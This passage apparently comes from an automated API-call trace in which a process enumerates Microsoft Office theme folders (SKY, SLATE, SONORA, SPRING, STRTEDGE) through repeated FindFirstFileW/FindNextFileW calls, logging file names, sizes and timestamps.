nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0286.924] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.924] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.924] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.924] GetProcessHeap () returned 0xaf0000 [0286.924] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.924] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0286.924] GetProcessHeap () returned 0xaf0000 [0286.924] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.925] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.926] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.926] GetProcessHeap () returned 0xaf0000 [0286.926] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.926] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0286.926] GetProcessHeap () returned 0xaf0000 [0286.926] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.926] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.926] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.926] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0286.927] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0286.927] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.927] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.927] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.927] GetProcessHeap () returned 0xaf0000 [0286.927] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.927] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0286.927] GetProcessHeap () returned 0xaf0000 [0286.927] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.928] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.928] GetProcessHeap () returned 0xaf0000 [0286.928] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.928] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0286.929] GetProcessHeap () returned 0xaf0000 [0286.929] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0286.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0286.930] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.930] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.930] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.930] GetProcessHeap () returned 0xaf0000 [0286.930] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.930] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0286.930] GetProcessHeap () returned 0xaf0000 [0286.930] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.931] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.931] GetProcessHeap () returned 0xaf0000 [0286.931] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.931] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, 